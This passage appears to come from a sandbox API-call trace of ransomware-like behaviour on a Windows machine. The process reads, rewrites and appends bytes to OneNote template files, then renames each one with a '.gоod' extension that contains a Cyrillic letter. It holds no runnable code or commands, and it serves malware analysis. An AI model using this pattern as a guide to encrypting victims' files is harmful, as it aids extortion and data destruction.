Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE.gоod", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE.gоod", lpFilePart=0x0) returned 0x5a [0264.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec570) returned 1 [0264.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\blank.one"), fInfoLevelId=0x0, lpFileInformation=0x20cec650 | out: lpFileInformation=0x20cec650*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99e7d97e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b438)) returned 1 [0264.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec530) returned 1 [0264.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\blank.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BLANK.ONE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\blank.one.gоod")) returned 1 [0264.570] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE", lpFilePart=0x0) returned 0x58 [0264.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec5b0) returned 1 [0264.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\business.one"), fInfoLevelId=0x0, lpFileInformation=0x37b8540 | out: lpFileInformation=0x37b8540*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7d35ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e630)) returned 1 [0264.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec570) returned 1 [0264.570] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE", lpFilePart=0x0) returned 0x58 [0264.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0264.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\business.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0264.571] GetFileType (hFile=0x89c) returned 0x1 [0264.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0264.571] GetFileType (hFile=0x89c) returned 0x1 [0264.571] SetFilePointer (in: hFile=0x89c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x1000 [0264.571] ReadFile (in: hFile=0x89c, lpBuffer=0x37b89a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec5d8, lpOverlapped=0x0 | out: lpBuffer=0x37b89a8*, lpNumberOfBytesRead=0x20cec5d8*=0x1000, lpOverlapped=0x0) returned 1 [0264.572] CloseHandle (hObject=0x89c) returned 1 [0264.572] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE", lpFilePart=0x0) returned 0x58 [0264.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0264.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\business.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0264.573] GetFileType (hFile=0x89c) returned 0x1 [0264.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0264.573] GetFileType (hFile=0x89c) returned 0x1 [0264.573] SetFilePointer (in: hFile=0x89c, lDistanceToMove=0, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x4e630 [0264.573] WriteFile (in: hFile=0x89c, lpBuffer=0x37b9c68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20cec4f8, lpOverlapped=0x0 | out: lpBuffer=0x37b9c68*, lpNumberOfBytesWritten=0x20cec4f8*=0x10, lpOverlapped=0x0) returned 1 [0264.574] CloseHandle (hObject=0x89c) returned 1 [0264.574] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE", lpFilePart=0x0) returned 0x58 [0264.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0264.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\business.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0264.574] GetFileType (hFile=0x89c) returned 0x1 [0264.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0264.574] GetFileType (hFile=0x89c) returned 0x1 [0264.574] ReadFile (in: hFile=0x89c, lpBuffer=0x37bbf50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec588, lpOverlapped=0x0 | out: lpBuffer=0x37bbf50*, lpNumberOfBytesRead=0x20cec588*=0x1000, lpOverlapped=0x0) returned 1 [0265.335] CloseHandle (hObject=0x89c) returned 1 [0265.335] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE", lpFilePart=0x0) returned 0x58 [0265.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0265.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\business.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0265.335] GetFileType (hFile=0x89c) returned 0x1 [0265.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0265.335] GetFileType (hFile=0x89c) returned 0x1 [0265.335] WriteFile (in: hFile=0x89c, lpBuffer=0x375d0b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20cec638, lpOverlapped=0x0 | out: lpBuffer=0x375d0b0*, lpNumberOfBytesWritten=0x20cec638*=0x1010, lpOverlapped=0x0) returned 1 [0265.335] CloseHandle (hObject=0x89c) returned 1 [0265.335] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE", lpFilePart=0x0) returned 0x58 [0265.335] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE.gоod", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE.gоod", lpFilePart=0x0) returned 0x5d [0265.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec570) returned 1 [0265.336] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\business.one"), fInfoLevelId=0x0, lpFileInformation=0x20cec650 | out: lpFileInformation=0x20cec650*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a5cadf6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e640)) returned 1 [0265.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec530) returned 1 [0265.336] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\business.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\BUSINESS.ONE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\business.one.gоod")) returned 1 [0265.337] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE", lpFilePart=0x0) returned 0x58 [0265.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec5b0) returned 1 [0265.338] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\designer.one"), fInfoLevelId=0x0, lpFileInformation=0x3862248 | out: lpFileInformation=0x3862248*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7ad38b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3182e8)) returned 1 [0265.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec570) returned 1 [0265.338] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE", lpFilePart=0x0) returned 0x58 [0265.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0265.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\designer.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0265.339] GetFileType (hFile=0x89c) returned 0x1 [0265.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0265.339] GetFileType (hFile=0x89c) returned 0x1 [0265.339] SetFilePointer (in: hFile=0x89c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x1000 [0265.339] ReadFile (in: hFile=0x89c, lpBuffer=0x38626b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec5d8, lpOverlapped=0x0 | out: lpBuffer=0x38626b0*, lpNumberOfBytesRead=0x20cec5d8*=0x1000, lpOverlapped=0x0) returned 1 [0265.340] CloseHandle (hObject=0x89c) returned 1 [0265.340] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE", lpFilePart=0x0) returned 0x58 [0265.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0265.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\designer.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0265.340] GetFileType (hFile=0x89c) returned 0x1 [0265.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0265.340] GetFileType (hFile=0x89c) returned 0x1 [0265.340] SetFilePointer (in: hFile=0x89c, lDistanceToMove=0, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x3182e8 [0265.340] WriteFile (in: hFile=0x89c, lpBuffer=0x3863970*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20cec4f8, lpOverlapped=0x0 | out: lpBuffer=0x3863970*, lpNumberOfBytesWritten=0x20cec4f8*=0x10, lpOverlapped=0x0) returned 1 [0265.341] CloseHandle (hObject=0x89c) returned 1 [0265.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE", lpFilePart=0x0) returned 0x58 [0265.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0265.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\designer.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0265.342] GetFileType (hFile=0x89c) returned 0x1 [0265.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0265.342] GetFileType (hFile=0x89c) returned 0x1 [0265.342] ReadFile (in: hFile=0x89c, lpBuffer=0x3865e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec588, lpOverlapped=0x0 | out: lpBuffer=0x3865e10*, lpNumberOfBytesRead=0x20cec588*=0x1000, lpOverlapped=0x0) returned 1 [0265.793] CloseHandle (hObject=0x89c) returned 1 [0265.793] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE", lpFilePart=0x0) returned 0x58 [0265.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0265.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\designer.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0265.793] GetFileType (hFile=0x89c) returned 0x1 [0265.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0265.793] GetFileType (hFile=0x89c) returned 0x1 [0265.793] WriteFile (in: hFile=0x89c, lpBuffer=0x37975f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20cec638, lpOverlapped=0x0 | out: lpBuffer=0x37975f0*, lpNumberOfBytesWritten=0x20cec638*=0x1010, lpOverlapped=0x0) returned 1 [0265.794] CloseHandle (hObject=0x89c) returned 1 [0265.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE", lpFilePart=0x0) returned 0x58 [0265.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE.gоod", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE.gоod", lpFilePart=0x0) returned 0x5d [0265.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec570) returned 1 [0265.794] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\designer.one"), fInfoLevelId=0x0, lpFileInformation=0x20cec650 | out: lpFileInformation=0x20cec650*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7ad38b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7ad38b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9aa43496, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3182f8)) returned 1 [0265.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec530) returned 1 [0265.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\designer.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\DESIGNER.ONE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\designer.one.gоod")) returned 1 [0265.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE", lpFilePart=0x0) returned 0x58 [0265.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec5b0) returned 1 [0265.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\planners.one"), fInfoLevelId=0x0, lpFileInformation=0x3905e40 | out: lpFileInformation=0x3905e40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37b50)) returned 1 [0265.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec570) returned 1 [0265.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE", lpFilePart=0x0) returned 0x58 [0265.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0265.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\planners.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0265.796] GetFileType (hFile=0x89c) returned 0x1 [0265.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0265.796] GetFileType (hFile=0x89c) returned 0x1 [0265.796] SetFilePointer (in: hFile=0x89c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x1000 [0265.796] ReadFile (in: hFile=0x89c, lpBuffer=0x39062a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec5d8, lpOverlapped=0x0 | out: lpBuffer=0x39062a8*, lpNumberOfBytesRead=0x20cec5d8*=0x1000, lpOverlapped=0x0) returned 1 [0265.843] CloseHandle (hObject=0x89c) returned 1 [0266.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE", lpFilePart=0x0) returned 0x58 [0266.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0266.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\planners.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0266.079] GetFileType (hFile=0x808) returned 0x1 [0266.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0266.084] GetFileType (hFile=0x808) returned 0x1 [0266.086] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x37b50 [0266.088] WriteFile (in: hFile=0x808, lpBuffer=0x3ad0b08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20cec4f8, lpOverlapped=0x0 | out: lpBuffer=0x3ad0b08*, lpNumberOfBytesWritten=0x20cec4f8*=0x10, lpOverlapped=0x0) returned 1 [0266.115] CloseHandle (hObject=0x808) returned 1 [0266.115] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE", lpFilePart=0x0) returned 0x58 [0266.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0266.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\planners.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0266.115] GetFileType (hFile=0x808) returned 0x1 [0266.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0266.115] GetFileType (hFile=0x808) returned 0x1 [0266.116] ReadFile (in: hFile=0x808, lpBuffer=0x3ad3e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec588, lpOverlapped=0x0 | out: lpBuffer=0x3ad3e08*, lpNumberOfBytesRead=0x20cec588*=0x1000, lpOverlapped=0x0) returned 1 [0266.167] CloseHandle (hObject=0x808) returned 1 [0266.167] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE", lpFilePart=0x0) returned 0x58 [0266.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0266.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\PLANNERS.ONE" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\planners.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0266.167] GetFileType (hFile=0x808) returned 0x1 [0266.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0266.168] GetFileType (hFile=0x808) returned 0x1 [0266.168] WriteFile (in: hFile=0x808, lpBuffer=0x3ad2b38*, nNumberOfBytesToWrite=0x1010, 